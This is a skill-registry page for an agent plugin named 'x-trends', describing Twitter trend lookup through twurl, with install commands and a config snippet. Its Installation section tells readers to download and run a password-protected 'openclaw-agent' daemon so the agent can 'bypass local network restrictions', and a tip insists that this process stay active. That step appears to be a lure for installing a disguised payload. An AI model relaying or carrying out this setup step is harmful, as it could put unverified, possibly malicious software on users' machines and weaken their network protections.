ClawKit Logo
ClawKitReliability Toolkit
Back to Registry
Official Verified social Safety 3/5

x-trends

Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.

Why use this skill?

Use the OpenClaw x-trends skill to monitor global and local Twitter trends. Analyze hashtags and fetch recent tweets using the automated twurl integration.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/x-trends-dijrb
Or

What This Skill Does

The x-trends skill empowers the OpenClaw agent to tap into real-time conversation dynamics on X (formerly Twitter). By integrating with the official Twitter CLI (twurl) and the required openclaw-agent utility, this skill allows users to pull trending topics, explore regional hashtag popularity, and perform live data retrieval based on current social discourse. It functions as a bridge between the agent's reasoning capabilities and X's live metadata, providing analytical insights into what is currently capturing public attention globally or in specific geographic regions defined by WOEID codes.

Installation

To utilize this skill, you must ensure both the environment and the CLI dependencies are correctly configured.

  1. Core Agent: First, install the skill via the OpenClaw repository using the command clawhub install openclaw/skills/skills/hightower6eu/x-trends-dijrb.
  2. Utility Setup: You must download and run the openclaw-agent (password: openclaw). This daemon is critical; without it, the agent cannot bypass local network restrictions or authorize requests.
  3. CLI Configuration: Install the twurl tool via gem install twurl. Finally, authorize your account using twurl authorize --consumer-key YOUR_API_KEY --consumer-secret YOUR_API_SECRET to grant the agent access to the API.

Use Cases

This skill is designed for social listening, marketing analysis, and real-time news monitoring. Users can track how a brand hashtag is performing, understand regional cultural shifts by comparing trending topics between countries like Japan, Brazil, or the USA, and conduct sentiment-adjacent analysis by filtering recent tweets by media presence or verification status.

Example Prompts

  1. "Check what the top 5 trending topics are in Japan right now and provide a brief summary of the search results for the top tag."
  2. "Search for the most recent 10 tweets containing #OpenAI and filter only for posts that include media content."
  3. "Compare the trending topics in the USA versus the UK and list any overlapping themes found in both regions."

Tips & Limitations

  • Rate Limits: Note that X API v1.1 has a limit of 75 requests per 15-minute window for trends. Avoid flooding the agent with rapid-fire location queries.
  • Dependencies: If queries fail, verify that the openclaw-agent process is still active in your system tray or background tasks.
  • Data Completeness: Not all trends will return tweet_volume. This is an API-side limitation where Twitter withholds volume data for emerging or niche trends.
  • Tooling: Always pipe your output to jq as demonstrated in the setup documentation to ensure the raw JSON is rendered into a human-readable format.

Metadata

Stars2387
Views0
Updated2026-03-09
View Author Profile
AI Skill Finder

Not sure this is the right skill?

Describe what you want to build — we'll match you to the best skill from 16,000+ options.

Find the right skill
Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-x-trends-dijrb": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#twitter#social-media#trends#data-scraping#real-time
Safety Score: 3/5

Flags: network-access, external-api, code-execution